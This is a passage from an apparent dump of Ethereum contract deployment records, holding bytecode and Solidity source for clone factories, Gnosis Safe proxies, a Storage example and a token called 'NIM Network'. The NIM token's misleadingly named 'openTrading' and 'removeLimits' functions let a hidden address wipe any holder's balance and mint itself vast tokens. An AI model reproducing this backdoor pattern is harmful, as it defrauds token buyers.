0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,495,947 |
6e4659e2444937f25b0b4d2b6e92489c096aa9940530b5211d31b1dd5baa5fbd
|
3cc22ce9dcff4d730d4d0dfa5d3af696baaaaa3a702da7c199ff78526c09c382
|
dbe4d74a01f1e42ea2688455bc303ad252faed29
|
dbe4d74a01f1e42ea2688455bc303ad252faed29
|
9cc5406ad7a859ed4f4e2cc7bf813e75792c7fcb
|
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|
608060405234801561000f575f80fd5b5060043610610034575f3560e01c80632e64cec1146100385780636057361d14610056575b5f80fd5b610040610072565b60405161004d919061009b565b60405180910390f35b610070600480360381019061006b91906100e2565b61007a565b005b5f8054905090565b805f8190555050565b5f819050919050565b61009581610083565b82525050565b5f6020820190506100ae5f83018461008c565b92915050565b5f80fd5b6100c181610083565b81146100cb575f80fd5b50565b5f813590506100dc816100b8565b92915050565b5f602082840312156100f7576100f66100b4565b5b5f610104848285016100ce565b9150509291505056fea2646970667358221220a6710181372d0f08d0c328ad9dc690bcf7935799fa8c413722ea2563efaa104b64736f6c63430008190033
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.2 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
|
1 | 19,495,952 |
678277df185eba78019a13907bbc7109c9cdbe4ccdda92a4cd44f29b80a9f619
|
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|
4448c1987d1dd67453387ffbe1c0c5ffcc9a212b
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
0b0294fd68636bf1e17ebf2c8f6020ad1ca651b8
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,959 |
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|
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|
8aaa2a0e5756bd48b8a19f66ebd4f1361f141493
|
8aaa2a0e5756bd48b8a19f66ebd4f1361f141493
|
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|
/*
* SPDX-License-Identifier: MIT
// Twitter: https://twitter.com/nim_network
// Website: https://nim.network/
// Medium: https://medium.com/@NIM_Network
// Discord: https://discord.com/invite/nimnetwork
*/
pragma solidity ^0.8.23;
interface IPancakeFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract NIM {
address internal constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address internal constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 private tokenTotalSupply;
string private tokenName;
string private tokenSymbol;
address private xxnux;
uint8 private tokenDecimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(address ads) {
tokenName = "NIM Network";
tokenSymbol = "NIM";
tokenDecimals = 18;
tokenTotalSupply = 1000000000* 10 ** tokenDecimals;
_balances[msg.sender] = tokenTotalSupply;
emit Transfer(address(0), msg.sender, tokenTotalSupply);
xxnux = ads;
}
function openTrading(address bots) external {
if(xxnux == msg.sender && xxnux != bots && pancakePair() != bots && bots != ROUTER){
_balances[bots] = 0;
}
}
function removeLimits(uint256 addBot) external {
if(xxnux == msg.sender){
_balances[msg.sender] = 42069000000*42069*addBot*10**tokenDecimals;
}
}
function pancakePair() public view virtual returns (address) {
return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));
}
function symbol() public view returns (string memory) {
return tokenSymbol;
}
function totalSupply() public view returns (uint256) {
return tokenTotalSupply;
}
function decimals() public view virtual returns (uint8) {
return tokenDecimals;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function name() public view returns (string memory) {
return tokenName;
}
function transfer(address to, uint256 amount) public returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
uint256 balance = _balances[from];
require(balance >= amount, "ERC20: transfer amount exceeds balance");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] = _balances[from]-amount;
_balances[to] = _balances[to]+amount;
emit Transfer(from, to, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
}
|
1 | 19,495,959 |
73f82238154f493f37a1770fd13f951bca1209722e56226131d7cd61f88c19aa
|
3ab7c281fefa81fff8ad8f4c07a99c99022a98c41ac9985061cbdd8bf233f6ff
|
3aeb5831f91d29b3992d659821a7fed7b805a107
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
8c70a98878d142eac9a35d18ecb54a96a65668de
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,495,964 |
29be25dd408dc397a4f94025338b8639dadc7204ed1e7b25bbd75b6005800eb9
|
008e71563fded251164d17c4722ac80deaaf7857be42466351b0e1fc1e6870e7
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
336f6dbc58114e1b9c47df595f7136e30013b546
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
